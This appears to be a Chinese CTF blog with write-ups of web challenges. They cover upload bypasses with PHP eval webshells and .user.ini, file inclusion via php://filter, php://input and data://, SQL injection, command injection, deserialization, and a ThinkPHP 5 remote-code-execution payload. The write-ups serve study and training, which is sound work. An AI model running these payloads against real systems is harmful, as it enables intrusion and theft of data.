easyupload

题目信息:

image-20231223212510173

image-20231223214319511

解题过程:

上传正常的jpg图片,成功上传

上传含有php的一句话木马的php文件,失败

将php文件后缀名改成jpg后再上传,失败

将php文件内容的开头加上GIF89a,再上传,失败

改写php文件中的一句话木马,过滤掉php字眼,如下:

1
2
GIF89a
<?=eval($_POST['cmd']);?>

一样没用

上传.user.ini文件,将content-type后的内容改成image/jpg,上传成功

.user.ini的内容

1
2
GIF89a                  
auto_prepend_file=eval.jpg//将eval.jpg包含在php.ini配置文件里

后再上传修改了后缀名的php文件,上传成功

利用f12(网络那一栏)来查看路径

使用蚁剑连接,就可以找到flag了

知识点:

  • 图片上传getshell要考虑绕过的点

    • 文件名后缀
    • 文件内容添加图片格式的文件头
    • 文件内容php字符串的绕过
    • 修改上传时的content-type信息,改为image/jpg
  • .user.ini的使用

    在服务器中,只要是运用了fastcgi服务器的都可以用这种方式getshell

    这个文件是php.ini的补充文件,当页面访问的时候就可以自动查看当前目录下是否有.user.ini,然后将其补充至php.ini,并作为cgi的启动项

fileinclude

题目:

image-20231224000332955

image-20231224000353532

解题过程:

查看源代码:

image-20231224000529777

分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];//lan 的值可以通过cookie中的laguage值来操控
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");//包含了一个变量lan,与.phplian'ji
}
$x=file_get_contents('index.php');
echo $x;
?>

题目说flag在flag.php里面

所以可以将lan值设为flag,在这里要使用伪协议

1
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

使用bp的repeater模块发送出去

image-20231224001816724

得到的base64编码进行解码

image-20231224001831652

知识点:

  • php代码审计

  • 伪协议的使用

    img

🔗:https://www.cnblogs.com/cainiao-chuanqi/p/15818547.html

Inget

image-20231221211134550

image-20231221211207823

考点:万能密码

尝试:

?id=1’ or 1=1#

无回显

再尝试:

?id=1’ or 1=1–+

有回显

再尝试:

?id=1’ or 1=1%23

有回显

原因在于在url里要先将#编码成%23才能有效

PHP2

image-20231221195107453

image-20231221195220489

查看源代码,并没有什么敏感信息

直接用御剑扫描:

image-20231221195440436

查看该网址,回显的信息不变

image-20231221195551469

由于php文件无法通过浏览器看见,而phps是php文件的源代码文件

所以尝试访问phps文件

1
http://61.147.171.105:62641/index.phps

image-20231221195846859

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);//传入参数id的值进行url解码
if($_GET[id] == "admin")//如果编码后的id值为admin则输出关键信息
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

由于浏览器会自动进行一次编码,所以我们要对admin进行两次编码

不懂点这里

我们直接使用bp的decode模块

image-20231221201710546

成功获得flag

image-20231221201810960

fileclude

题目:

image-20231224145955474

image-20231224150028865

解题:

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}

代码中包含两个文件,file1和file2

file1由include函数包含,最终读取flag,所以使用伪协议filter读取

file2由file_get_contents函数包含,并要求返回的值为hello ctf

  • PHP file_get_contents()函数
    • 定义:file_get_content()函数把整个文件读入一个字符串中
    • 注意是将文件读入字符串中

这里使用了file_get_contents函数,所以不能直接让file2=hello ctf,要将它写入file2中

这里使用到了file2=php://input,post写入hello ctf,这样hello ctf就被写入到了file2中

image-20231224152329597

base64解码:

image-20231224152407820

知识点

  • PHP伪协议的了解

  • php://input函数的使用

  • PHP file_get_contents()函数

    • 定义:file_get_content()函数把整个文件读入一个字符串中
    • 注意是将文件读入字符串中
  • 文件包含的常见文件:

    1
    2
    3
    //定义一个变量$file并将其传递给include函数中执行
    $file = $_GET['file'];
    include($file);

easyphp

参考这里

Newscenter

题目:

image-20231224213556288

image-20231224213618873

解题过程:

利用中间的搜索框,进行sql注入

经过多次测试,发现这是字符型注入

1
2
' and 1=1#	//有回显
' and 1=2# //无回显

image-20231224214133975

接着一顿联合查询操作

1
2
3
4
5
' order by 3# //查询字段数
' union select 1,2,database()# //爆库
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'# //爆表
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'# //爆列
' union select 1,id,fl4g from secret_table# //爆数据

最后获得flag

知识点

  • 找到注入点
  • 判断是什么类型的sql注入
  • 字符型的注入的测试语句的掌握

command execution

题目

image-20231225203609649

image-20231225203702063

解题过程:

直接上payload

1
127.0.0.1|find / -name "flag*"

image-20231225204101245

1
127.0.0.1|cat /home/flag.txt

image-20231225204142758

知识点:

  • 常见的连接符
符号 示例 描述
A;B 先执行A,再执行B
& A&B 简单拼接,AB之间没有制约关系
| A|B 显示B的执行结果
&& A&&B A执行成功,然后才执行B
|| A||B A执行失败才会执行B
  • ls 命令是一个常用的用于列出指定目录中的文件和子目录的命令

    • 要列出当前目录下的所有文件和目录,可以执行以下命令:

      1
      ls
    • 要列出特定目录下的所有文件和目录,例如/ect目录,可以执行以下命令

      1
      ls /etc
    • 还可以使用不同选项来修改ls命令的行为

      例如

      1
      ls -l /etc 	//使用长格式显示文件详细信息

      以下是ls命令的一些常见选项

      1
      2
      3
      4
      5
      -a:列出所有文件,包括隐藏文件。
      -l:使用长格式显示文件详细信息,包括文件权限、所有者、大小、修改日期等。
      -h:以人类可读的格式显示文件大小。
      -t:按修改时间顺序列出文件和目录,最近修改的排在最前面。
      -r:按相反顺序(即最早的先列出)列出文件和目录。
  • cat命令

    cat命令是一个常用在Linux操作系统上查看文件内容的命令。

    以下是一些常见的 cat 命令选项:

    -n:显示每行行号。
    -b:显示行号,但对于空白行不进行编号。
    -E:在每行末尾显示 $ 符号。
    -T:将制表符字符 (\t) 显示为 ^I。
    -s:删除重复的空行,并将连续多个空行压缩成一个空行。

    例如,要查看文件 /etc/fstab 中的内容,可以执行以下命令:

    1
    cat /etc/fstab

    如果您想在行号前添加行号,可以使用 -n 选项:

    1
    cat -n /etc/fstab

    该命令将显示 /etc/fstab 文件的内容,并在每行行首添加行号。

  • 在已知某文件名的基础上,可使用find命令:

    1
    127.0.0.1| find / -name "文件名"

    在已知某部分文件名的基础上,可使用find命令:

    1
    127.0.0.1| find / -name "已知文件名的部分"

xff-referer

题目

X老师告诉小宁其实xff和referer是可以伪造的。

image-20231225220213290

解题过程

抓包,按照提示伪造xff和referer

image-20231225220430521

知识点:

  • xff是http的拓展头部,作用是使web服务器获取访问用户的真实地址(可伪造)。由于很多用户通过代理服务器进行访问,服务器只能获取代理服务器的IP地址,而xff的作用在于记录用户的真实IP以及代理服务器的IP

    格式为:

    1
    X-Forwarded-For: 本机IP,代理1IP,代理2IP,代理3IP
  • referer是http的拓展头部,作用是记录当前请求页面的来源页面的地址。

unserialize3

题目

image-20231226191628422

解题过程

代码审计:在xtcf类中构建了一个flag对象,使用了_wakeup函数,在反序列化中会先检测是否有wakeup函数,如果有则先执行里面的内容,所以在这里我们要绕过wakeup函数,可以通过增加对象属性个数来绕过

先完善一下该代码

1
2
3
4
5
6
7
8
9
10
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a= new xctf();
print(serialize($a));
?>

利用菜鸟工具执行输出

1
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

为了绕过函数wakeup,增加属性个数,将1改为2

1
O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得解:

image-20231226192852309

知识点:

upload1

题目:

image-20231226210912271

解题过程:

法一:

准备好一句话木马的php文件,

1
<?=eval($_POST['cmd']);?>

上传

image-20231226211110624

这个键无法使用,

利用开发者工具,将disable””删除

image-20231226211300510

就可以上传了

image-20231226211532838

使用蚁剑连接

image-20231226211509875

image-20231226211623375

法二:

上传准备好的php文件

1
<?=eval($_POST['cmd']);?>

无法上传,直接抓包,content-type改为image/jpeg

image-20231226212303421

上传成功,接着用蚁剑连接,然后获取flag.

web_php_include

题目:

image-20231227191803593

解题过程:

代码审计:使用了str_replace将php://覆盖掉,但是strstr区分大小写,所以我们可以大小写过滤

1
2
3
?page=Php://input
post:
<?php system("ls");?>

image-20231227192441937

1
2
3
?page=Php://input
post:
<?php system("cat fl4gisisish3r3.php");?>

image-20231227192627734

法二:

使用**data://**伪协议

既然不能使用php://,那就使用其他伪协议

data用法:

1
2
data://text/plain,xxxx(要执行的PHP代码)
data:?/text/plain;base64,xxxx(base64编码后的数据)

直接上payload:

1
2
?page=data://text/plain,<?php system("ls")?>
?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

知识点:

  • system的作用:执行命令并输出执行结果
  • ls作用:列出目标目录中所有子目录和文件
  • php://input,用于执行php代码,需要post请求提交数据
  • data://,用于读取数据

参考

php_rce

题目

image-20231227212302019

解题过程:

给了一个php版本(ThinkPHP V5),在github搜索

image-20231227212729557

先用thinkphp 5的poc用一下

1
/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

IP地址用题目给的

image-20231227212936968

这里回显错误,提示了php的版本(5.0.20)

没有在github里找到5.0.20的poc,看了其他师傅的wp

找到poc:

1
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

利用该漏洞获取信息

1
2
3
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls  //检索目录
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag" //找到目录名为flag的文件
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag //查看文件内容

得到flag

image-20231227213949771

warmup

题目:

image-20231228142132804

解题过程:

查看源代码:

image-20231228142225252

访问一下source.php这个文件

image-20231228142339972

得到php文件,接下来就是代码审计了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

浏览一下,看到有hint.php

不管三七二十一,直接访问

image-20231228143251597

这里提示flag在ffffllllaaaagggg文件里

先看最下面的代码:

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

这里是以request的方式传入了一个参数file,要想成功执行include函数就要满足三个条件

  • 参数值不能为空
  • 参数值是字符串
  • 参数值能成功执行checkFile函数

前两个条件很容易满足,我们就主要研究checkFile函数就好了

先一步一步分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//定义参数whitelist的值
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}//传入的参数page不能为空且是字符串,否则返回flase

if (in_array($page, $whitelist)) {
return true;
}//page的内容必须包含在whitelist里


//如果不满足的话进行接下来的代码执行

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//将page里第一次出现的?之前的字符串赋值给page


if (in_array($_page, $whitelist)) {
return true;
}//如果重新赋值后的page包含在whitelist里,就返回ture

$_page = urldecode($page);//如果以上条件仍然不满足的话,page会经过一次url编码


$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}//重复以上操作


echo "you can't see it";
return false;
}
}

经过以上分析可知,要想该函数返回ture的话,就要满足以下条件

  • 传入的参数page中必须含有字符串source.php或hint.php
  • 字符串source.php或hint.php后连接?+要执行的操作代码

直接上payload

1
?file=source.php?/../../../../ffffllllaaaagggg

image-20231228145503216

知识点:

  • $_REQUEST是通过GET,POST和COOKIE输入机制来传递参数
  • include函数的特性:

看官方对include的定义

image-20231228155155103

重点在于这两句话:

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照include_path 指定的目录寻找。

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略

include_path,简单理解就是类似系统中的PATH环境变量,在文件包含在没有指出路径就会在前面补充这个include_path,从而形成完整的绝对路径

比如:include_path设置为/var/www/,在执行include “flag.txt”,路径就是/var/www/flag.txt

由于我们构造的payload:”source.php?/../../../../../../ffffllllaaaagggg“包含路径

所以会忽略include_path直接按照我们路径去寻找。

原文链接:https://blog.csdn.net/qq_42016346/article/details/104199710

  • in_array:在数组中搜索指定参数的值
  • mb_substr:返回字符串的一部分
  • mb_strpos:查找字符串在另一个字符串中首次出现的位置

easyphp

image-20240322211041319

打开网站,得到php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}

?>

开始代码审计

先传入两个参数a,b

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
//a的值要大于6000000且a的长度要<=3,所以a的值可以为7e6,即7000000
{
//b的md5值倒数6个字符串为8b184b
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}

要求出b的值,可以写脚本得出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  

$target = '8b184b';

for ($i = 0; $i < 999999999; $i++) {
$b = strval($i); // 将整数转换为字符串
$hash = md5($b);
$suffix = substr($hash, -6);

if ($suffix === $target) {
echo "找到符合条件的 b 值: $b\n";
break;
}
}

image-20240322211807253

所以b=53724

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$c=(array)json_decode(@$_GET['c']);
//json_decode函数用于将JSON字符串解码为PHP对象或数组。
//@是一个错误控制运算符,它会抑制错误消息的显示。
//(array)是一个类型转换,确保解码后的结果是数组,而不是对象。


if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)
//m不是数字,且m与2022相比,m更大,基于php中的弱类型比较特性,m的值应为:比2022更大的数+字母(如2023z)
{
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))
//这里要求n为数组,只有两个元素,且第一个为数组,出现了@,其实是暗示了弱类型比较的使用
{
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

array_search函数会搜索n中的元素,若元素值为”DGGJ”,则会返回其所对应的键名

foreach($c[“n”] as $key=>$val)的作用是遍历数组$c[“n”]中的每个元素。在每次循环迭代中,它都会取出$c[“n”]的一个元素,并把这个元素的键赋值给变量$key,把这个元素的值赋值给变量 $val,如果 $c["n"] 数组中的任何元素包含 "DGGJ",那么这可能表示输入数据不符合预期,因此脚本会输出错误信息并停止执行。

因此需要绕过其中一个函数

由于在php中,当字符与数字进行比较时,字符会自动转化为0(php的弱类型比较)

所以我们只需要让n中的第二个值为大于0的数字即可

所以给出payload

1
?a=7e6&b=53724&c={"m":"2023x","n":[[],0]}

fileinclude

image-20240330190132876

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>

https://blog.csdn.net/weixin_42789937/article/details/128063361

payload:

1
http://61.147.171.105:58114/?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php